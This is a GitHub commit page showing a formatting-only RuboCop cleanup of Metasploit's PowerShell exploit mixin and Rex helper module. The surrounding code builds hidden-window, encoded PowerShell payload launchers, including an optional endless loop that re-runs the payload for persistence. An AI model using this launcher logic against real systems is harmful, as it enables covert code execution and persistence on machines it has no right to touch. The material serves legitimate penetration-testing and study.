Skip to content

Commit 5f05336

Browse files
committed
Cheat/Rubycop all the things
1 parent 474ee81 commit 5f05336

File tree

9 files changed

+302
-347
lines changed

9 files changed

+302
-347
lines changed

lib/msf/core/exploit/powershell.rb

Lines changed: 37 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33

44
module Msf
55
module Exploit::Powershell
6-
76
PowershellScript = Rex::Exploitation::Powershell::Script
87

98
def initialize(info = {})
@@ -16,12 +15,7 @@ def initialize(info = {})
1615
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
1716
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
1817
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
19-
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
20-
'net',
21-
'reflection',
22-
'old',
23-
'msil'
24-
]]),
18+
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
2519
], self.class)
2620
end
2721

@@ -36,7 +30,7 @@ def encode_script(script_in)
3630
# Build script object
3731
psh = PowershellScript.new(script_in)
3832
# Invoke enabled modifiers
39-
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
33+
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
4034
mod_method = k.split('::').last.intern
4135
psh.send(mod_method)
4236
end
@@ -56,7 +50,7 @@ def compress_script(script_in, eof = nil)
5650
# Build script object
5751
psh = PowershellScript.new(script_in)
5852
# Invoke enabled modifiers
59-
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
53+
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
6054
mod_method = k.split('::').last.intern
6155
psh.send(mod_method)
6256
end
@@ -75,14 +69,14 @@ def compress_script(script_in, eof = nil)
7569
#
7670
# @return [String] Powershell command line with arguments
7771
def generate_psh_command_line(opts)
78-
if opts[:path] and (opts[:path][-1,1] != "\\")
79-
opts[:path] << "\\"
72+
if opts[:path] and (opts[:path][-1, 1] != '\\')
73+
opts[:path] << '\\'
8074
end
8175

8276
if opts[:no_full_stop]
83-
binary = "powershell"
77+
binary = 'powershell'
8478
else
85-
binary = "powershell.exe"
79+
binary = 'powershell.exe'
8680
end
8781

8882
args = generate_psh_args(opts)
@@ -122,13 +116,13 @@ def generate_psh_command_line(opts)
122116
#
123117
# @return [String] Powershell command arguments
124118
def generate_psh_args(opts)
125-
return "" unless opts
119+
return '' unless opts
126120

127-
unless opts.has_key? :shorten
121+
unless opts.key? :shorten
128122
opts[:shorten] = (datastore['Powershell::method'] != 'old')
129123
end
130124

131-
arg_string = " "
125+
arg_string = ' '
132126
opts.each_pair do |arg, value|
133127
case arg
134128
when :encodedcommand
@@ -140,25 +134,25 @@ def generate_psh_args(opts)
140134
when :file
141135
arg_string << "-File #{value} " if value
142136
when :noexit
143-
arg_string << "-NoExit " if value
137+
arg_string << '-NoExit ' if value
144138
when :nologo
145-
arg_string << "-NoLogo " if value
139+
arg_string << '-NoLogo ' if value
146140
when :noninteractive
147-
arg_string << "-NonInteractive " if value
141+
arg_string << '-NonInteractive ' if value
148142
when :mta
149-
arg_string << "-Mta " if value
143+
arg_string << '-Mta ' if value
150144
when :outputformat
151145
arg_string << "-OutputFormat #{value} " if value
152146
when :sta
153-
arg_string << "-Sta " if value
147+
arg_string << '-Sta ' if value
154148
when :noprofile
155-
arg_string << "-NoProfile " if value
149+
arg_string << '-NoProfile ' if value
156150
when :windowstyle
157151
arg_string << "-WindowStyle #{value} " if value
158152
end
159153
end
160154

161-
#Command must be last (unless from stdin - etc)
155+
# Command must be last (unless from stdin - etc)
162156
if opts[:command]
163157
arg_string << "-Command #{opts[:command]}"
164158
end
@@ -182,10 +176,10 @@ def generate_psh_args(opts)
182176
arg_string.gsub!('-WindowStyle ', '-w ')
183177
end
184178

185-
#Strip off first space character
179+
# Strip off first space character
186180
arg_string = arg_string[1..-1]
187-
#Remove final space character
188-
arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
181+
# Remove final space character
182+
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
189183

190184
arg_string
191185
end
@@ -202,14 +196,14 @@ def generate_psh_args(opts)
202196
# @return [String] Wrapped powershell code
203197
def run_hidden_psh(ps_code, payload_arch, encoded)
204198
arg_opts = {
205-
:noprofile => true,
206-
:windowstyle => 'hidden',
199+
noprofile: true,
200+
windowstyle: 'hidden',
207201
}
208202

209203
if encoded
210204
arg_opts[:encodedcommand] = ps_code
211205
else
212-
arg_opts[:command] = ps_code.gsub("'","''")
206+
arg_opts[:command] = ps_code.gsub("'", "''")
213207
end
214208

215209
# Old technique fails if powershell exits..
@@ -224,7 +218,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
224218
$s.UseShellExecute=$false
225219
$p=[System.Diagnostics.Process]::Start($s)
226220
EOS
227-
process_start_info.gsub!("\n",';')
221+
process_start_info.gsub!("\n", ';')
228222

229223
archictecure_detection = <<EOS
230224
if([IntPtr]::Size -eq 4){
@@ -234,7 +228,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
234228
};
235229
EOS
236230

237-
archictecure_detection.gsub!("\n","")
231+
archictecure_detection.gsub!("\n", '')
238232

239233
archictecure_detection + process_start_info
240234
end
@@ -264,17 +258,17 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
264258
# argument in single quotes unless :encode_final_payload
265259
#
266260
# @return [String] Powershell command line with payload
267-
def cmd_psh_payload(pay, payload_arch, opts={})
261+
def cmd_psh_payload(pay, payload_arch, opts = {})
268262
opts[:persist] ||= datastore['Powershell::persist']
269263
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
270264
opts[:method] ||= datastore['Powershell::method']
271265

272266
if opts[:encode_inner_payload] && opts[:encode_final_payload]
273-
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
267+
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
274268
end
275269

276270
if opts[:no_equals] && !opts[:encode_final_payload]
277-
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
271+
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
278272
end
279273

280274
psh_payload = case opts[:method]
@@ -285,15 +279,15 @@ def cmd_psh_payload(pay, payload_arch, opts={})
285279
when 'old'
286280
Msf::Util::EXE.to_win32pe_psh(framework, pay)
287281
when 'msil'
288-
raise RuntimeError, "MSIL Powershell method no longer exists"
282+
fail RuntimeError, 'MSIL Powershell method no longer exists'
289283
else
290-
raise RuntimeError, "No Powershell method specified"
284+
fail RuntimeError, 'No Powershell method specified'
291285
end
292286

293287
# Run our payload in a while loop
294288
if opts[:persist]
295-
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
296-
sleep_time = rand(5)+5
289+
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
290+
sleep_time = rand(5) + 5
297291
vprint_status("Sleep time set to #{sleep_time} seconds")
298292
psh_payload = "function #{fun_name}{#{psh_payload}};"
299293
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
@@ -334,8 +328,8 @@ def cmd_psh_payload(pay, payload_arch, opts={})
334328
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
335329

336330
command_args = {
337-
:noprofile => true,
338-
:windowstyle => 'hidden'
331+
noprofile: true,
332+
windowstyle: 'hidden'
339333
}.merge(opts)
340334

341335
if opts[:encode_final_payload]
@@ -345,14 +339,14 @@ def cmd_psh_payload(pay, payload_arch, opts={})
345339
# payload contains none.
346340
if opts[:no_equals]
347341
while command_args[:encodedcommand].include? '='
348-
final_payload << " "
342+
final_payload << ' '
349343
command_args[:encodedcommand] = encode_script(final_payload)
350344
end
351345
end
352346
else
353347
if opts[:use_single_quotes]
354348
# Escape Single Quotes
355-
final_payload.gsub!("'","''")
349+
final_payload.gsub!("'", "''")
356350
# Wrap command in quotes
357351
final_payload = "'#{final_payload}'"
358352
end
@@ -370,20 +364,17 @@ def cmd_psh_payload(pay, payload_arch, opts={})
370364

371365
vprint_status("Powershell command length: #{command.length}")
372366
if command.length > 8191
373-
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
367+
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
374368
end
375369

376370
command
377371
end
378372

379-
380373
#
381374
# Useful method cache
382375
#
383376
module PshMethods
384377
include Rex::Exploitation::Powershell::PshMethods
385378
end
386-
387379
end
388380
end
389-

lib/rex/exploitation/powershell.rb

Lines changed: 48 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -9,58 +9,54 @@
99
require 'rex/exploitation/powershell/psh_methods'
1010

1111
module Rex
12-
module Exploitation
13-
14-
module Powershell
15-
16-
#
17-
# Reads script into a PowershellScript
18-
#
19-
# @param script_path [String] Path to the Script File
20-
#
21-
# @return [Script] Powershell Script object
22-
def self.read_script(script_path)
23-
Rex::Exploitation::Powershell::Script.new(script_path)
24-
end
25-
26-
#
27-
# Insert substitutions into the powershell script
28-
# If script is a path to a file then read the file
29-
# otherwise treat it as the contents of a file
30-
#
31-
# @param script [String] Script file or path to script
32-
# @param subs [Array] Substitutions to insert
33-
#
34-
# @return [String] Modified script file
35-
def self.make_subs(script, subs)
36-
if ::File.file?(script)
37-
script = ::File.read(script)
12+
module Exploitation
13+
module Powershell
14+
#
15+
# Reads script into a PowershellScript
16+
#
17+
# @param script_path [String] Path to the Script File
18+
#
19+
# @return [Script] Powershell Script object
20+
def self.read_script(script_path)
21+
Rex::Exploitation::Powershell::Script.new(script_path)
22+
end
23+
24+
#
25+
# Insert substitutions into the powershell script
26+
# If script is a path to a file then read the file
27+
# otherwise treat it as the contents of a file
28+
#
29+
# @param script [String] Script file or path to script
30+
# @param subs [Array] Substitutions to insert
31+
#
32+
# @return [String] Modified script file
33+
def self.make_subs(script, subs)
34+
if ::File.file?(script)
35+
script = ::File.read(script)
36+
end
37+
38+
subs.each do |set|
39+
script.gsub!(set[0], set[1])
40+
end
41+
42+
script
43+
end
44+
45+
#
46+
# Return an array of substitutions for use in make_subs
47+
#
48+
# @param subs [String] A ; seperated list of substitutions
49+
#
50+
# @return [Array] An array of substitutions
51+
def self.process_subs(subs)
52+
return [] if subs.nil? or subs.empty?
53+
new_subs = []
54+
subs.split(';').each do |set|
55+
new_subs << set.split(',', 2)
56+
end
57+
58+
new_subs
59+
end
3860
end
39-
40-
subs.each do |set|
41-
script.gsub!(set[0],set[1])
42-
end
43-
44-
script
4561
end
46-
47-
#
48-
# Return an array of substitutions for use in make_subs
49-
#
50-
# @param subs [String] A ; seperated list of substitutions
51-
#
52-
# @return [Array] An array of substitutions
53-
def self.process_subs(subs)
54-
return [] if subs.nil? or subs.empty?
55-
new_subs = []
56-
subs.split(';').each do |set|
57-
new_subs << set.split(',', 2)
58-
end
59-
60-
new_subs
61-
end
62-
6362
end
64-
end
65-
end
66-

0 commit comments

Comments
 (0)